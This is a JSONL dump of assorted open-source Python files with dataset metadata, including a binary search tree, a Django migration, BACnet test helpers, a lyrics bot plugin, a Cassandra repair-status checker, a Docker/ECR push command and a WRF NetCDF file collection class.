j.data.text.strip(pscript)\n pscript = pscript.replace(\"$ruleset\", ruleset)\n pscript = pscript.replace(\"$pinghost\", pinghost)\n\n self.prefab.core.execute_script(content=pscript, die=True, interpreter=\"python3\", tmux=True)\n","sub_path":"modules/security/PrefabFW.py","file_name":"PrefabFW.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"156721100","text":"'''\r\nCreated on 26-May-2017\r\n\r\n@author: aagoyal\r\n'''\r\nfrom __future__ import print_function\r\nfrom Node import Node\r\n\r\nclass BST:\r\n def __init__(self):\r\n self.root = None\r\n self.nodeCount = 0\r\n \r\n def addNode(self, data):\r\n if self.root == None:\r\n self.root = Node(data)\r\n else:\r\n self.searchAndAdd(data, self.root)\r\n self.nodeCount += 1\r\n \r\n def searchAndAdd(self, data, node): \r\n if data < node.getValue(): #move to left side\r\n if node.hasLeft():\r\n self.searchAndAdd(data, node.getleftAdd())\r\n else:\r\n self.addAt(node, \"left\", data)\r\n else: #move to right side\r\n if node.hasRight():\r\n self.searchAndAdd(data, node.getrightAdd())\r\n else:\r\n self.addAt(node, \"right\", data)\r\n\r\n \r\n def addAt(self, parent, side, data):\r\n new_node = Node(data)\r\n if side == \"left\":\r\n parent.setleftAdd(new_node)\r\n elif side == \"right\":\r\n parent.setrightAdd(new_node)\r\n \r\n \r\n def printBST(self, node):\r\n if node == None:\r\n return None\r\n \r\n data = {\"value\": node.getValue(),\r\n \"left\": self.printBST(node.getleftAdd()),\r\n \"right\": self.printBST(node.getrightAdd())\r\n }\r\n \r\n return data\r\n \r\n def inorder(self, node):\r\n if node == None:\r\n return None\r\n else:\r\n self.inorder(node.getleftAdd())\r\n print(node.getValue(), \" -> \", end=\"\")\r\n self.inorder(node.getrightAdd())\r\n \r\n def preorder(self, node):\r\n if node == None:\r\n return None\r\n else:\r\n print(node.getValue(), \" -> \", end=\"\")\r\n self.preorder(node.getleftAdd())\r\n self.preorder(node.getrightAdd())\r\n \r\n def postorder(self, node):\r\n if node == None:\r\n return None\r\n else:\r\n self.postorder(node.getleftAdd())\r\n self.postorder(node.getrightAdd())\r\n print(node.getValue(), \" -> \", end=\"\")\r\n \r\n def levelOrderTraversal(self):\r\n store_level_add = []\r\n store_level_add_next = []\r\n store_level_add.append(self.root)\r\n \r\n while(store_level_add != []):\r\n for address in store_level_add:\r\n print(address.getValue(), \" -> \", end = \"\")\r\n if address.hasLeft():\r\n store_level_add_next.append(address.getleftAdd())\r\n if address.hasRight():\r\n store_level_add_next.append(address.getrightAdd())\r\n \r\n store_level_add = store_level_add_next\r\n store_level_add_next = []\r\n\r\ndef prettyprint(datadict):\r\n print(datadict)\r\n\r\n\r\nif __name__ == '__main__':\r\n bst = BST()\r\n bst.addNode(400)\r\n bst.addNode(100)\r\n bst.addNode(50)\r\n bst.addNode(200)\r\n bst.addNode(200)\r\n bst.addNode(10)\r\n bst.addNode(20)\r\n bst.addNode(300)\r\n bst.addNode(400)\r\n #bst.addAt(bst.root.getrightAdd(), \"right\", 3)\r\n #bst.addAt(bst.root.getrightAdd().getrightAdd(), \"right\", 4)\r\n #bst.addAt(bst.root, \"left\", 0)\r\n #bst.addNode(4)\r\n prettyprint(bst.printBST(bst.root))\r\n print(\"Inorder: \")\r\n bst.inorder(bst.root)\r\n print()\r\n print(\"Preorder: \")\r\n bst.preorder(bst.root)\r\n print()\r\n print(\"Postorder: \")\r\n bst.postorder(bst.root)\r\n print()\r\n print(\"LevelOrder: \")\r\n bst.levelOrderTraversal()","sub_path":"com/nokia/trees/standard/BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"106854099","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('transaction', '0003_auto_20150622_0915'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='notification',\n name='transaction',\n field=models.ForeignKey(related_name='notification', blank=True, to='transaction.Transaction', null=True),\n ),\n ]\n","sub_path":"transaction/migrations/0004_auto_20150722_1336.py","file_name":"0004_auto_20150722_1336.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"452499169","text":"#!/usr/bin/env python\n\n\"\"\"\nService Helper Classes\n\"\"\"\n\nfrom bacpypes.debugging import bacpypes_debugging, ModuleLogger\n\nfrom bacpypes.comm import Client, bind\nfrom bacpypes.pdu import Address, LocalBroadcast\nfrom bacpypes.vlan import Network, Node\n\nfrom bacpypes.app import Application\nfrom bacpypes.appservice import StateMachineAccessPoint, ApplicationServiceAccessPoint\nfrom bacpypes.netservice import NetworkServiceAccessPoint, NetworkServiceElement\nfrom bacpypes.local.device import LocalDeviceObject\n\nfrom ..state_machine import StateMachine, StateMachineGroup\nfrom ..time_machine import reset_time_machine, run_time_machine\n\n\n# some debugging\n_debug = 0\n_log = ModuleLogger(globals())\n\n\n#\n# ApplicationNetwork\n#\n\n@bacpypes_debugging\nclass ApplicationNetwork(StateMachineGroup):\n\n def __init__(self):\n if _debug: ApplicationNetwork._debug(\"__init__\")\n StateMachineGroup.__init__(self)\n\n # reset the time machine\n reset_time_machine()\n if _debug: ApplicationNetwork._debug(\" - time machine reset\")\n\n # make a little LAN\n self.vlan = Network(broadcast_address=LocalBroadcast())\n\n # test device object\n self.td_device_object = LocalDeviceObject(\n objectName=\"td\",\n objectIdentifier=(\"device\", 10),\n maxApduLengthAccepted=1024,\n segmentationSupported='noSegmentation',\n vendorIdentifier=999,\n )\n\n # test device\n self.td = ApplicationNode(self.td_device_object, self.vlan)\n self.append(self.td)\n\n # implementation under test device object\n self.iut_device_object = LocalDeviceObject(\n objectName=\"iut\",\n objectIdentifier=(\"device\", 20),\n maxApduLengthAccepted=1024,\n segmentationSupported='noSegmentation',\n vendorIdentifier=999,\n )\n\n # implementation under test\n self.iut = ApplicationNode(self.iut_device_object, self.vlan)\n self.append(self.iut)\n\n def run(self, time_limit=60.0):\n if _debug: ApplicationNetwork._debug(\"run %r\", time_limit)\n\n # run the group\n super(ApplicationNetwork, self).run()\n if _debug: ApplicationNetwork._debug(\" - group running\")\n\n # run it for some time\n run_time_machine(time_limit)\n if _debug:\n ApplicationNetwork._debug(\" - time machine finished\")\n for state_machine in self.state_machines:\n ApplicationNetwork._debug(\" - machine: %r\", state_machine)\n for direction, pdu in state_machine.transaction_log:\n ApplicationNetwork._debug(\" %s %s\", direction, str(pdu))\n\n # check for success\n all_success, some_failed = super(ApplicationNetwork, self).check_for_success()\n assert all_success\n\n\n#\n# SnifferNode\n#\n\n@bacpypes_debugging\nclass SnifferNode(Client, StateMachine):\n\n def __init__(self, vlan):\n if _debug: SnifferNode._debug(\"__init__ %r\", vlan)\n\n # save the name and give it a blank address\n self.name = \"sniffer\"\n self.address = Address()\n\n # continue with initialization\n Client.__init__(self)\n StateMachine.__init__(self)\n\n # create a promiscuous node, added to the network\n self.node = Node(self.address, vlan, promiscuous=True)\n if _debug: SnifferNode._debug(\" - node: %r\", self.node)\n\n # bind this to the node\n bind(self, self.node)\n\n def send(self, pdu):\n if _debug: SnifferNode._debug(\"send(%s) %r\", self.name, pdu)\n raise RuntimeError(\"sniffers don't send\")\n\n def confirmation(self, pdu):\n if _debug: SnifferNode._debug(\"confirmation(%s) %r\", self.name, pdu)\n\n # pass to the state machine\n self.receive(pdu)\n\n\n#\n# ApplicationNode\n#\n\n@bacpypes_debugging\nclass ApplicationNode(Application, StateMachine):\n\n def __init__(self, localDevice, vlan):\n if _debug: ApplicationNode._debug(\"__init__ %r %r\", localDevice, vlan)\n\n # build an address and save it\n self.address = Address(localDevice.objectIdentifier[1])\n if _debug: ApplicationNode._debug(\" - address: %r\", self.address)\n\n # continue with initialization\n Application.__init__(self, localDevice, self.address)\n StateMachine.__init__(self, name=localDevice.objectName)\n\n # include a application decoder\n self.asap = ApplicationServiceAccessPoint()\n\n # pass the device object to the state machine access point so it\n # can know if it should support segmentation\n self.smap = StateMachineAccessPoint(localDevice)\n\n # the segmentation state machines need access to the same device\n # information cache as the application\n self.smap.deviceInfoCache = self.deviceInfoCache\n\n # a network service access point will be needed\n self.nsap = NetworkServiceAccessPoint()\n\n # give the NSAP a generic network layer service element\n self.nse = NetworkServiceElement()\n bind(self.nse, self.nsap)\n\n # bind the top layers\n bind(self, self.asap, self.smap, self.nsap)\n\n # create a node, added to the network\n self.node = Node(self.address, vlan)\n\n # bind the network service to the node, no network number\n self.nsap.bind(self.node)\n\n def send(self, apdu):\n if _debug: ApplicationNode._debug(\"send(%s) %r\", self.name, apdu)\n\n # send the apdu down the stack\n self.request(apdu)\n\n def indication(self, apdu):\n if _debug: ApplicationNode._debug(\"indication(%s) %r\", self.name, apdu)\n\n # let the state machine know the request was received\n self.receive(apdu)\n\n # allow the application to process it\n super(ApplicationNode, self).indication(apdu)\n\n def confirmation(self, apdu):\n if _debug: ApplicationNode._debug(\"confirmation(%s) %r\", self.name, apdu)\n\n # forward the confirmation to the state machine\n self.receive(apdu)\n\n","sub_path":"tests/test_service/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599561971","text":"from requests import get\nimport plugins\nfrom apikeys import mashape\nfrom control import *\nfrom links import shorten\nfrom urllib.parse import quote as sanitize\nimport json\n\n\ndef getlyrics(title, artist):\n response = get(\"https://musixmatchcom-musixmatch.p.mashape.com/wsr/1.1/track.search?f_has_lyrics=1&page=1&page_size=1&q_track=\" + sanitize(title) + \"&q_artist=\" + sanitize(artist),\n headers={\n \"X-Mashape-Key\": mashape,\n \"Accept\": \"application/json\"\n }\n )\n data = json.loads(response.text)\n name = data[0][\"track_name\"]\n artst = data[0][\"artist_name\"]\n trackid = data[0][\"track_id\"]\n lyrget = get(\"https://musixmatchcom-musixmatch.p.mashape.com/wsr/1.1/track.lyrics.get?track_id=\" + str(trackid), headers={\n \"X-Mashape-Key\": mashape,\n \"Accept\": \"application/json\"\n }\n )\n data2 = json.loads(lyrget.text)\n lyrics = data2[\"lyrics_body\"]\n url = 'https://www.musixmatch.com/lyrics/' + \\\n artist.replace(\" \", \"-\") + '/' + title.replace(\" \", \"-\")\n return {\n 'name': name,\n 'artist': artst,\n 'lyrics': lyrics,\n 'url': url\n }\n\n\ndef _initialise():\n plugins.register_user_command(['lyrics'])\n\n\ndef lyrics(bot, event, *args):\n try:\n message = ' '.join(args)\n title = message.split(' by ')[0]\n artist = message.split(' by ')[1]\n g = getlyrics(title, artist)\n msg = _('{} by {}
{}
Full Lyrics: {}').format(\n g['name'], g['artist'], g['lyrics'], shorten(g['url']))\n yield from bot.coro_send_message(event.conv, msg)\n except BaseException as e:\n simple = _('The correct format is /bot lyrics by <artist>')\n msg = _('{} -- {}').format(str(e), event.text)\n yield from bot.coro_send_message(event.conv, simple)\n yield from bot.coro_send_message(CONTROL, msg)\n","sub_path":"hangupsbot/plugins/lyrics.py","file_name":"lyrics.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150683581","text":"#!/usr/bin/env python\n\"\"\"\nScript to check repair status on multiple nodes.\n\nUses SSH to connect to nodes and look for range_repair.py status output file. Aggregates status information for all\nnodes.\n\nExample:\n ./check_repair_status.py status.json cass-1.example.com cass-2.example.com cass-3.example.com\n\"\"\"\nimport json\nimport os\nimport paramiko\nimport logging\nimport sys\nimport csv\nfrom argparse import ArgumentParser\nfrom datetime import datetime\n\nSTATUS_NO_DATA = 'no_data'\nSTATUS_FINISHED = 'finished'\nSTATUS_REPAIRING = 'repairing'\nSTATUS_FINISHED_WITH_ERRORS = 'finished_with_errors'\nSTATUS_HUNG = 'hung'\n\nNUM_VNODES = 256\n\nDEFAULT_HANG_TIMEOUT = 10800\n\nssh = paramiko.SSHClient()\nssh_config = paramiko.SSHConfig()\n\n\ndef build_cluster(nodes, filename, hang_timeout=DEFAULT_HANG_TIMEOUT):\n \"\"\"\n Build cluster status object.\n\n :param list nodes: List of nodes to check.\n :param str filename: Status filename.\n :param int hang_timeout: Repair hang timeout in seconds.\n\n :rtype: dict\n :return: Cluster status object.\n \"\"\"\n cluster = {\n 'nodes': {},\n 'total_nodes': 0,\n 'num_no_data': 0,\n 'num_fully_repaired': 0,\n 'num_repairing': 0,\n 'num_repaired_with_errors': 0,\n 'num_hung': 0,\n 'num_errors': 0,\n }\n percentage_total = 0\n vnode_time = [0, 0]\n\n for host in nodes:\n try:\n status_str = ssh_get_file(host, filename)\n status = json.loads(status_str)\n cluster['nodes'][host] = build_node(status, hang_timeout)\n cluster['nodes'][host]['raw'] = status\n except Exception as e:\n logging.error(str(e))\n cluster['nodes'][host] = {\n 'status': STATUS_NO_DATA\n }\n cluster['total_nodes'] += 1\n if cluster['nodes'][host]['status'] == STATUS_NO_DATA:\n cluster['num_no_data'] += 1\n else:\n if cluster['nodes'][host]['status'] == STATUS_FINISHED:\n cluster['num_fully_repaired'] += 1\n elif cluster['nodes'][host]['status'] == STATUS_REPAIRING:\n cluster['num_repairing'] += 1\n elif cluster['nodes'][host]['status'] == STATUS_FINISHED_WITH_ERRORS:\n cluster['num_repaired_with_errors'] += 1\n elif cluster['nodes'][host]['status'] == STATUS_HUNG:\n cluster['num_hung'] += 1\n cluster['num_errors'] += cluster['nodes'][host]['num_failed']\n percentage_total += cluster['nodes'][host]['percentage_complete']\n vnode_time[0] += cluster['nodes'][host]['avg_vnode_time_seconds']\n vnode_time[1] += float(1)\n cluster['percentage_complete'] = percentage_total / cluster['total_nodes']\n cluster['avg_vnode_time_seconds'] = vnode_time[0] / vnode_time[1]\n # Calculate estimated cluster repair time after so we can use avg time for nodes with no data\n cluster['est_full_repair_time_seconds'] = 0\n for host in nodes:\n if cluster['nodes'][host]['status'] == STATUS_FINISHED:\n cluster['est_full_repair_time_seconds'] += cluster['nodes'][host]['total_repair_time_seconds']\n elif cluster['nodes'][host]['status'] == STATUS_NO_DATA:\n cluster['est_full_repair_time_seconds'] += cluster['avg_vnode_time_seconds'] * NUM_VNODES\n else:\n cluster['est_full_repair_time_seconds'] += cluster['est_full_repair_time_seconds']\n\n return cluster\n\n\ndef ssh_get_file(host, filename):\n \"\"\"\n SSH into a host and get the contents of a file.\n\n SSHs into the host and executes a simple cat {filename}.\n\n :param str host: Host.\n :param str filename: Filename.\n\n :rtype: str\n :return: File contents.\n \"\"\"\n global ssh\n cmd = 'cat {0}'.format(filename)\n logging.info('Checking repair status on {0}'.format(host))\n cfg = get_ssh_config(host)\n ssh.connect(**cfg)\n ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(cmd)\n out_str = \"\\n\".join(map(str, ssh_stdout))\n err_str = \"\\n\".join(map(str, ssh_stderr))\n ssh.close()\n if out_str:\n return out_str\n else:\n raise Exception('Failed to \"{0}\" on {1}: {2}'.format(cmd, host, err_str))\n\n\ndef get_ssh_config(host):\n \"\"\"\n Get SSH config for host.\n\n :param str host: Hostname.\n\n :rtype: dict\n :return: SSHClient.connect params.\n \"\"\"\n global ssh_config\n cfg = {\n 'hostname': host\n }\n\n user_config = ssh_config.lookup(cfg['hostname'])\n for k in ('hostname', 'username', 'port'):\n if k in user_config:\n cfg[k] = user_config[k]\n\n if 'proxycommand' in user_config:\n cfg['sock'] = paramiko.ProxyCommand(user_config['proxycommand'])\n\n return cfg\n\n\ndef build_node(node_status, hang_timeout=DEFAULT_HANG_TIMEOUT):\n \"\"\"\n Build node status object.\n\n Gather some summary metrics from raw node status.\n\n :param dict node_status: Node's repair status object.\n :param int hang_timeout: Hang timeout in seconds.\n\n :rtype: dict\n :return: Node status object.\n \"\"\"\n num_failed = len(node_status['failed_repairs'])\n started = datetime.strptime(node_status['started'], '%Y-%m-%dT%H:%M:%S.%f')\n updated = datetime.strptime(node_status['updated'], '%Y-%m-%dT%H:%M:%S.%f')\n if node_status['finished']:\n # Hacky\n node_position = '256/256'\n finished_on = node_status['finished']\n current_step_time = None\n finished = datetime.strptime(node_status['finished'], '%Y-%m-%dT%H:%M:%S.%f')\n total_repair_time = (finished - started).total_seconds()\n if num_failed > 0:\n status = STATUS_FINISHED_WITH_ERRORS\n else:\n status = STATUS_FINISHED\n else:\n node_position = node_status['current_repair']['nodeposition']\n current_step_time = (datetime.utcnow() - updated).total_seconds()\n finished_on = None\n total_repair_time = None\n if current_step_time > hang_timeout:\n status = STATUS_HUNG\n else:\n status = STATUS_REPAIRING\n (current_vnode, total_vnodes) = map(int, node_position.split('/'))\n # Note this calculation assumes steps of 1 (need to put this param in status output to do proper calc)\n percentage_complete = int(float(current_vnode - num_failed) / float(total_vnodes) * 100)\n # Calculate average time taken to repair 1 vnode\n current_duration = (updated - started).total_seconds()\n avg_vnode_time = current_duration / float(current_vnode - 1)\n return {\n 'status': status,\n 'nodeposition': node_position,\n 'percentage_complete': percentage_complete,\n 'current_step_time_seconds': current_step_time,\n 'total_repair_time_seconds': total_repair_time,\n 'num_failed': num_failed,\n 'started': node_status['started'],\n 'finished': finished_on,\n 'avg_vnode_time_seconds': avg_vnode_time,\n 'est_full_repair_time_seconds': avg_vnode_time * NUM_VNODES,\n 'est_time_remaining_seconds': avg_vnode_time * (NUM_VNODES - current_vnode),\n }\n\n\ndef write_json(data, file_=sys.stdout):\n \"\"\"\n Write full repair stats data as JSON.\n \n :param dict data: Repair status data.\n :param file file_: File to write to.\n \"\"\"\n json.dump(data, file_, indent=4)\n\n\ndef write_summary(data, file_=sys.stdout):\n \"\"\"\n Write human readable summary.\n \n :param dict data: Repair status data.\n :param file file_: File to write to.\n \"\"\"\n out = \"Fully Repaired {0}\\n\" \\\n \"Repairing {1}\\n\" \\\n \"With Errors {2}\\n\" \\\n \"Hung {3}\\n\" \\\n \"Unknown {4}\\n\" \\\n \"-----------------------\\n\" \\\n \"Percent Complete: {5}%\\n\" \\\n \"Avg. Vnode Time: {6:.0f}m\\n\" \\\n \"Avg. Host Time: {7:.0f}m\\n\" \\\n \"Est. Full Repair: {8:.0f}m\\n\".format(\n data['num_fully_repaired'],\n data['num_repairing'],\n data['num_repaired_with_errors'],\n data['num_hung'],\n data['num_no_data'],\n data['percentage_complete'],\n data['avg_vnode_time_seconds'] / 60,\n data['avg_vnode_time_seconds'] * NUM_VNODES / 60,\n data['est_full_repair_time_seconds'] / 60,\n )\n file_.write(out)\n\n\ndef write_csv(data, file_=sys.stdout):\n \"\"\"\n Print CSV summary.\n \n :param dict data: Repair status data.\n :param file file_: File to write to.\n \"\"\"\n writer = csv.writer(file_)\n headers = ['Host', 'Is In Progress', 'Has Errors', 'Is Hung', 'Started', 'Finished', 'Duration', 'Current Vnode']\n writer.writerow(headers)\n totals = {\n 'in_progress': 0,\n 'has_errors': 0,\n 'hung': 0,\n 'start': datetime.max,\n 'end': datetime.min,\n 'duration': 0,\n 'repaired_vnodes': 0,\n }\n for hostname, host in data['nodes'].iteritems():\n # If node has no data, write an empty row and don't include in any totals\n if host['status'] == STATUS_NO_DATA:\n writer.writerow([hostname, None, None, None, None, None, None, None])\n continue\n # Convert to CSV appropriate data\n in_progress = int(host['status'] == STATUS_REPAIRING)\n has_errors = int(host['num_failed'] > 0)\n is_hung = int(host['status'] == STATUS_HUNG)\n current_vnode = int(host['nodeposition'].split('/')[0])\n started = datetime.strptime(host['started'], '%Y-%m-%dT%H:%M:%S.%f')\n finished = datetime.strptime(host['finished'], '%Y-%m-%dT%H:%M:%S.%f') if host['finished'] else None\n # Calculate totals\n totals['in_progress'] += in_progress\n totals['has_errors'] += has_errors\n totals['hung'] += is_hung\n totals['start'] = min(started, totals['start'])\n totals['end'] = max(finished if finished else datetime.min, totals['end'])\n totals['duration'] += host['total_repair_time_seconds'] or 0\n totals['repaired_vnodes'] += current_vnode\n # Write CSV row\n row = [\n hostname,\n in_progress,\n has_errors,\n is_hung,\n host['started'],\n host['finished'],\n host['total_repair_time_seconds'],\n current_vnode,\n ]\n writer.writerow(row)\n footer = [\n 'Total',\n totals['in_progress'],\n totals['has_errors'],\n totals['hung'],\n totals['start'].isoformat(),\n totals['end'].isoformat(),\n totals['duration'],\n '{0} / {1}'.format(totals['repaired_vnodes'], len(data['nodes'].keys()) * NUM_VNODES),\n ]\n writer.writerow(footer)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser(description='Check range repair status on multiple nodes')\n parser.add_argument('filename',\n help='Path to range repair status output file')\n parser.add_argument('nodes', nargs='+',\n help='List of nodes to check repair status on')\n parser.add_argument('--hang-timeout', dest='hang_timeout', default=DEFAULT_HANG_TIMEOUT,\n help='Timeout in seconds to assume repair has hung')\n parser.add_argument('--format', choices=['summary', 'csv', 'json'], default='json',\n help='Output format')\n\n args = parser.parse_args()\n\n logging.basicConfig()\n\n # Load SSH\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n user_config_file = os.path.expanduser('~/.ssh/config')\n if os.path.exists(user_config_file):\n with open(user_config_file) as f:\n ssh_config.parse(f)\n\n cluster = build_cluster(args.nodes, args.filename, args.hang_timeout)\n\n if args.format == 'summary':\n write_summary(cluster)\n elif args.format == 'csv':\n write_csv(cluster)\n else:\n write_json(cluster)\n","sub_path":"src/check_repair_status.py","file_name":"check_repair_status.py","file_ext":"py","file_size_in_byte":11779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169790780","text":"import os\n\nfrom hokusai.lib.command import command\nfrom hokusai.lib.config import config\nfrom hokusai.services.ecr import ECR\nfrom hokusai.lib.common import print_green, shout\nfrom hokusai.lib.exceptions import HokusaiError\nfrom hokusai.services.docker import Docker\n\n@command()\ndef push(tag, local_tag, build, filename, force, overwrite, skip_latest=False):\n if force is None and shout('git status --porcelain'):\n raise HokusaiError(\"Working directory is not clean. Aborting.\")\n\n if force is None and shout('git status --porcelain --ignored'):\n raise HokusaiError(\"Working directory contains ignored files and/or directories. Aborting.\")\n\n ecr = ECR()\n if not ecr.project_repo_exists():\n raise HokusaiError(\"ECR repo %s does not exist... did you run `hokusai setup` for this project?\" % config.project_name)\n\n shout(ecr.get_login(), mask=(r'^(docker login -u) .+ (-p) .+ (.+)$', r'\\1 ****** \\2 ***** \\3'))\n if tag is None:\n tag = shout('git rev-parse HEAD').strip()\n\n if overwrite is None and ecr.tag_exists(tag):\n raise HokusaiError(\"Tag %s already exists in registry. Aborting.\" % tag)\n\n if build:\n Docker().build()\n\n build_tag = \"hokusai_%s:%s\" % (config.project_name, local_tag)\n\n shout(\"docker tag %s %s:%s\" % (build_tag, ecr.project_repo, tag))\n shout(\"docker push %s:%s\" % (ecr.project_repo, tag), print_output=True)\n print_green(\"Pushed %s to %s:%s\" % (build_tag, ecr.project_repo, tag), newline_after=True)\n\n if skip_latest: return\n\n shout(\"docker tag %s %s:%s\" % (build_tag, ecr.project_repo, 'latest'))\n shout(\"docker push %s:%s\" % (ecr.project_repo, 'latest'), print_output=True)\n print_green(\"Pushed %s to %s:%s\" % (build_tag, ecr.project_repo, 'latest'), newline_after=True)\n","sub_path":"hokusai/commands/push.py","file_name":"push.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"105354803","text":"#!/usr/bin/env python3\n\n# Python Network Programming Cookbook -- Chapter - 4\n# This program is optimized for Python 3.6 or above.\n# It may run on any other version with/without modifications.\nimport os\nimport sys\nimport argparse\n\ntry:\n\timport http\nexcept Exception:\n\tprint('No Module found: trying to install --> ')\n\tos.system('pip3 install http')\n\n\nREMOTE_SERVER_HOST = 'www.python.org'\nREMOTE_SERVER_PATH = '/'\n\n\nclass HTTPClient:\n\tdef __init__(self, host):\n\t\tself.host = host\n\tdef fetch(self, path):\n\t\tht = http.HTTP(self.host)\n\t\t# Prepare header\n\t\tht.putrequest(\"GET\", path)\n\t\tht.putheader(\"User-Agent\", __file__)\n\t\tht.putheader(\"Host\", self.host)\n\t\tht.putheader(\"Accept\", \"*/*\")\n\t\tht.endheaders()\n\n\t\ttry:\n\t\t\terrcode, errmsg, headers = ht.getreply()\n\t\texcept Exception:\n\t\t\tprint(f'Client failed error code: {errcode} message:{errmsg} headers:{headers}')\n\t\telse:\n\t\t\tprint(f\"Got homepage from {self.host}\")\n\t\t\tfile = ht.getfile()\n\t\t\treturn file.read()\t\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='HTTP Client Example')\n\tparser.add_argument('--host', action=\"store\", dest=\"host\", default=REMOTE_SERVER_HOST)\n\tparser.add_argument('--path', action=\"store\", dest=\"path\", default=REMOTE_SERVER_PATH)\n\tgiven_args = parser.parse_args()\n\thost, path = given_args.host, given_args.path\n\tclient = HTTPClient(host)\n\tprint(client.fetch(path))\n","sub_path":"network_exmaples/http_download.py","file_name":"http_download.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490150131","text":"from .ExamplePage import ExamplePage\n\n\nclass RequestInformation(ExamplePage):\n \"\"\"Request information demo.\"\"\"\n\n def writeContent(self):\n self.writeln('<h3>Request Variables</h3>')\n request = self.request()\n self.writeln(\n '<p>The following table shows the values'\n ' for three important request variables.</p>')\n p = 'We added some cookies for you.'\n if not self.request().hasCookie('TestCookieName'):\n p += (' <a href=\"RequestInformation\">Reload the page'\n ' to see them.</a>')\n if not request.fields():\n p += (' <a href=\"RequestInformation?'\n 'answer=42&list=1&list=2&list=3&question=what\">'\n 'You can also add some test fields.</a>')\n self.writeln(f'<p>{p}</p>')\n self.writeln('<table style=\"font-size:small;width:100%\">')\n if request.fields():\n self.showDict('fields()', request.fields())\n self.showDict('environ()', request.environ())\n if request.cookies():\n self.showDict('cookies()', request.cookies())\n self.writeln('</table>')\n setCookie = self.response().setCookie\n setCookie('TestCookieName', 'CookieValue')\n setCookie('TestAnotherCookie', 'AnotherCookieValue')\n setCookie('TestExpire1', 'expires in 1 minute', expires='+1m')\n setCookie('TestExpire2', 'expires in 2 minute', expires='+2m')\n setCookie('TestExpire3', 'expires in 3 minute', expires='+3m')\n\n def showDict(self, name, d):\n self.writeln(\n '<tr style=\"vertical-align:top\">'\n f'<td style=\"background-color:#ccf\" colspan=\"2\">{name}</td>'\n '</tr>')\n for key in sorted(d):\n html = self.htmlEncode(str(d[key])).replace('\\n', '<br>').replace(\n ',', ',<wbr>').replace(';', ';<wbr>').replace(':/', ':<wbr>/')\n self.writeln(\n '<tr style=\"vertical-align:top;background-color:#eef\">'\n f'<td>{key}</td><td>{html}</td></tr>')\n","sub_path":"webware/Examples/RequestInformation.py","file_name":"RequestInformation.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440518070","text":"# For python 3 portability\nfrom __future__ import (absolute_import, division,\n print_function, unicode_literals)\n\nfrom builtins import (super)\n\nimport numpy\n\nfrom pyWAT.collections.dataCollection import dataCollection\nfrom pyWAT.core.errorHandling import fatalError\nfrom pyWAT.io.wrfNetcdfFile import wrfNetcdfFile\n\n\nclass wrfNetcdfFileCollection(dataCollection):\n '''\n Class to handle a collection of WRF Netcdf files\n \n This class enhances the functionalities of the\n :class:`~pyWAT.collections.dataCollection.dataCollection` base class.\n \n Supports WRF files with multiple times.\n \n The collection is composed of \n :py:class:`~pyWAT.io.wrfNetcdfFile.wrfNetcdfFile` derived class instances.\n \n The elements in the collection can be retrieved by time using the bracket operator:\n x[y], see :py:meth:`__getitem__`.\n \n This class allows to define a reference \n (another :py:class:`~pyWAT.io.wrfNetcdfFile.wrfNetcdfFile` derived class \n instances)\n for each element. \n \n See :py:meth:`__init__` for initialization details.\n \n To see how items are accessed see :py:meth:`__getitem__`.\n \n Multiple Domains not supported! \n \n .. _dateTime: https://docs.python.org/2/library/datetime.html#datetime.datetime\n \n Attributes\n ----------\n \n filesPaths : list\n List with the paths (str) of each Netcdf file in the collection\n \n dataObjects : dict\n Dictionary with the :py:class:`~pyWAT.io.wrfNetcdfFile.wrfNetcdfFile` \n instances in the collection \n corresponding each available time.\n The dictionary keys are time stamps (\"%Y%m%dT%H%M%S\")\n \n timeIndexes : dict\n Dictionary with the timeIndexes corresponding in each \n :py:class:`~pyWAT.io.wrfNetcdfFile.wrfNetcdfFile` instances in the \n collection for each corresponding each available time.\n The dictionary keys are time stamps (\"%Y%m%dT%H%M%S\")\n \n availableTimes : list\n List of all the available times (datetime_ instances)\n \n referenceWrfNetcdfCollection : :py:class:`wrfNetcdfFileCollection` \n derived class\n \n Reference collection\n \n exactDates : bool\n Flag to indicate if exact dates (True) or nearest (False) dates \n are used when retrieving elements from the collection.\n \n '''\n\n def __init__(self , inputFilesOrDirectory=None, exactDates=True):\n \"\"\"\n Constructor\n \n Parameters\n ----------\n \n inputFilesOrDirectory : str, list or tuple.\n List or tuple of Directory or file paths\n \n See :py:meth:`add` for more information.\n \n \n exactDates : bool, optional\n Flag to indicate if exact dates (True) or nearest (False) dates are\n used when retrieving elements from the collection.\n \n \"\"\"\n \n super().__init__(inputFilesOrDirectory=inputFilesOrDirectory,\n exactDates=exactDates,\n dataClass=wrfNetcdfFile)\n\n\n \n \n def getTimeIndex(self, timeStamp): \n \"\"\"\n Get the timeIndex in the :py:class:`~pyWAT.io.wrfNetcdfFile.wrfNetcdfFile` derived instance corresponding to the\n timeStamp passed as argument.\n \n See :py:meth:`__getitem__` for details in supported 